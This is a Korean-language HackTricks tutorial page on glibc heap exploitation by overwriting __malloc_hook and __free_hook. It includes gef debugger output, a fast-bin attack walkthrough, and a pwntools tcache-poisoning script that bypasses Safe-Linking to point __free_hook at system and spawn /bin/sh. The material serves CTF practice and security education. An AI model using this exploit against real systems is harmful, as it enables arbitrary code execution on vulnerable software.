WWW2Exec - __malloc_hook & __free_hook

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Malloc Hook

๊ณต์‹ GNU ์‚ฌ์ดํŠธ์— ๋”ฐ๋ฅด๋ฉด, ๋ณ€์ˆ˜ **__malloc_hook**๋Š” malloc()๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ๋งˆ๋‹ค ํ˜ธ์ถœ๋  ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋กœ, libc ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฐ์ดํ„ฐ ์„น์…˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์ฃผ์†Œ๊ฐ€ ์˜ˆ๋ฅผ ๋“ค์–ด One Gadget์œผ๋กœ ๋ฎ์–ด์“ฐ์—ฌ์ง€๋ฉด malloc์ด ํ˜ธ์ถœ๋  ๋•Œ One Gadget์ด ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

malloc์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ํ˜ธ์ถœํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ๊ฑฐ๋‚˜ **printf("%10000$c")**๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๋„ˆ๋ฌด ๋งŽ์€ ๋ฐ”์ดํŠธ๋ฅผ ํ• ๋‹นํ•˜์—ฌ libc๊ฐ€ ํž™์— ํ• ๋‹นํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

One Gadget์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

One Gadget

Warning

GLIBC >= 2.34์—์„œ๋Š” ํ›„ํฌ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  GLIBC ๋ฒ„์ „์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๊ธฐ์ˆ ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ฐธ์กฐ: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

์ด๋Š” ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ ๊ณต๊ฒฉ์„ ๋‚จ์šฉํ•œ ํ›„ ๋น ๋ฅธ ๋นˆ ๊ณต๊ฒฉ์„ ๋‚จ์šฉํ•œ ์˜ˆ์ œ ์ค‘ ํ•˜๋‚˜์—์„œ ์•…์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

Unsorted Bin Attack

์ด์ง„ ํŒŒ์ผ์— ๊ธฐํ˜ธ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ __free_hook์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

gefโžค  p &__free_hook

ํฌ์ŠคํŠธ์—์„œ ๊ธฐํ˜ธ ์—†์ด free hook์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š” ๋‹จ๊ณ„๋ณ„ ๊ฐ€์ด๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์š”์•ฝํ•˜์ž๋ฉด, free ํ•จ์ˆ˜์—์„œ:

gefโžค  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

์ด์ „ ์ฝ”๋“œ์—์„œ ์–ธ๊ธ‰๋œ ์ค‘๋‹จ์ ์—์„œ $eax์—๋Š” free hook์˜ ์ฃผ์†Œ๊ฐ€ ์œ„์น˜ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด์ œ fast bin attack์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

  • ์šฐ์„ , __free_hook ์œ„์น˜์—์„œ 200 ํฌ๊ธฐ์˜ ๋น ๋ฅธ ์ฒญํฌ๋กœ ์ž‘์—…ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค:
  • gefโžค  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gefโžค x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • ์ด ์œ„์น˜์—์„œ ํฌ๊ธฐ 0x200์˜ ๋น ๋ฅธ ์ฒญํฌ๋ฅผ ์–ป์œผ๋ฉด ์‹คํ–‰๋  ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ด๋ฅผ ์œ„ํ•ด ํฌ๊ธฐ 0xfc์˜ ์ƒˆ๋กœ์šด ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ ํฌ์ธํ„ฐ๋กœ ๋ณ‘ํ•ฉ๋œ ํ•จ์ˆ˜๋ฅผ ๋‘ ๋ฒˆ ํ˜ธ์ถœํ•˜์—ฌ, ๋น ๋ฅธ ๋นˆ์—์„œ ํฌ๊ธฐ 0xfc*2 = 0x1f8์˜ ํ•ด์ œ๋œ ์ฒญํฌ์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด ์ฒญํฌ์—์„œ fd ์ฃผ์†Œ๋ฅผ ์ด์ „ __free_hook ํ•จ์ˆ˜๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•ด ํŽธ์ง‘ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์ดํ›„, ํฌ๊ธฐ 0x1f8์˜ ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ๋น ๋ฅธ ๋นˆ์—์„œ ์ด์ „์˜ ์“ธ๋ชจ์—†๋Š” ์ฒญํฌ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , ๋˜ ๋‹ค๋ฅธ ํฌ๊ธฐ 0x1f8์˜ ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ **__free_hook**์—์„œ ๋น ๋ฅธ ๋นˆ ์ฒญํฌ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , ์ด๋ฅผ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค.
  • ๋งˆ์ง€๋ง‰์œผ๋กœ, ๋ฌธ์ž์—ด /bin/sh\x00์„ ํฌํ•จํ•˜๋Š” ์ฒญํฌ๊ฐ€ ์‚ญ์ œ ํ•จ์ˆ˜ ํ˜ธ์ถœ๋กœ ํ•ด์ œ๋˜์–ด __free_hook ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๊ณ , ์ด ํ•จ์ˆ˜๋Š” /bin/sh\x00์„ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ํ•˜์—ฌ system์„ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค.

Tcache ์˜ค์—ผ ๋ฐ Safe-Linking (glibc 2.32 โ€“ 2.33)

glibc 2.32๋Š” Safe-Linking์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” tcache์™€ ๋น ๋ฅธ ๋นˆ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋‹จ์ผ ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ์ž…๋‹ˆ๋‹ค. ์›์‹œ ํฌ์ธํ„ฐ(fd)๋ฅผ ์ €์žฅํ•˜๋Š” ๋Œ€์‹ , ptmalloc์€ ์ด์ œ ๋‹ค์Œ ๋งคํฌ๋กœ๋กœ ์•”ํ˜ธํ™”๋œ ํ˜•ํƒœ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค:

#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

์•…์šฉ์˜ ๊ฒฐ๊ณผ:

  1. ํž™ ๋ˆ„์ˆ˜๋Š” ํ•„์ˆ˜์ž…๋‹ˆ๋‹ค โ€“ ๊ณต๊ฒฉ์ž๋Š” ์œ ํšจํ•œ ๋‚œ๋…ํ™”๋œ ํฌ์ธํ„ฐ๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด chunk_addr >> 12์˜ ๋Ÿฐํƒ€์ž„ ๊ฐ’์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  2. ์˜ค์ง ์ „์ฒด 8๋ฐ”์ดํŠธ ํฌ์ธํ„ฐ๋งŒ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹จ์ผ ๋ฐ”์ดํŠธ ๋ถ€๋ถ„ ๋ฎ์–ด์“ฐ๊ธฐ๋Š” ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.

glibc 2.32/2.33์—์„œ __free_hook๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์ตœ์†Œํ•œ์˜ tcache-๋…์ด ์ฃผ์ž… ์›๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free โ‡’ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

์œ„์˜ ์Šค๋‹ˆํŽซ์€ *UIUCTF 2024 โ€“ ยซRusty Pointersยป*์™€ *openECSC 2023 โ€“ ยซBabyheap Gยป*์™€ ๊ฐ™์€ ์ตœ๊ทผ CTF ์ฑŒ๋ฆฐ์ง€์—์„œ ์ˆ˜์ •๋œ ๊ฒƒ์œผ๋กœ, ๋‘ ์ฑŒ๋ฆฐ์ง€ ๋ชจ๋‘ __free_hook์„ ๋ฎ์–ด์“ฐ๋Š” Safe-Linking ์šฐํšŒ์— ์˜์กดํ–ˆ์Šต๋‹ˆ๋‹ค.


glibc โ‰ฅ 2.34์—์„œ ๋ณ€๊ฒฝ๋œ ์‚ฌํ•ญ์€ ๋ฌด์—‡์ธ๊ฐ€์š”?

**glibc 2.34 (2021๋…„ 8์›”)**๋ถ€ํ„ฐ ํ• ๋‹น ํ›… __malloc_hook, __realloc_hook, __memalign_hook ๋ฐ __free_hook์€ ๊ณต์‹ API์—์„œ ์ œ๊ฑฐ๋˜์—ˆ์œผ๋ฉฐ ๋” ์ด์ƒ ํ• ๋‹น์ž์— ์˜ํ•ด ํ˜ธ์ถœ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ˜ธํ™˜์„ฑ ๊ธฐํ˜ธ๋Š” ๋ ˆ๊ฑฐ์‹œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์œ„ํ•ด ์—ฌ์ „ํžˆ ๋‚ด๋ณด๋‚ด์ง€์ง€๋งŒ, ์ด๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์€ ๋” ์ด์ƒ malloc() ๋˜๋Š” free()์˜ ์ œ์–ด ํ๋ฆ„์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์‹ค์šฉ์ ์ธ ์˜๋ฏธ: ์ตœ์‹  ๋ฐฐํฌํŒ(Ubuntu 22.04+, Fedora 35+, Debian 12 ๋“ฑ)์—์„œ๋Š” ๋‹ค๋ฅธ ํ•˜์ด์žฌํ‚น ์›์‹œ(primitives)(IO-FILE, __run_exit_handlers, vtable spraying ๋“ฑ)๋กœ ์ „ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ›… ๋ฎ์–ด์“ฐ๊ธฐ๋Š” ์กฐ์šฉํžˆ ์‹คํŒจํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋””๋ฒ„๊น…์„ ์œ„ํ•ด ์ด์ „ ๋™์ž‘์ด ์—ฌ์ „ํžˆ ํ•„์š”ํ•˜๋‹ค๋ฉด, glibc๋Š” ๋ ˆ๊ฑฐ์‹œ ํ›…์„ ๋‹ค์‹œ ํ™œ์„ฑํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ฏธ๋ฆฌ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” libc_malloc_debug.so๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ์ƒ์‚ฐ ํ™˜๊ฒฝ์„ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹ˆ๋ฉฐ ํ–ฅํ›„ ๋ฆด๋ฆฌ์Šค์—์„œ ์‚ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ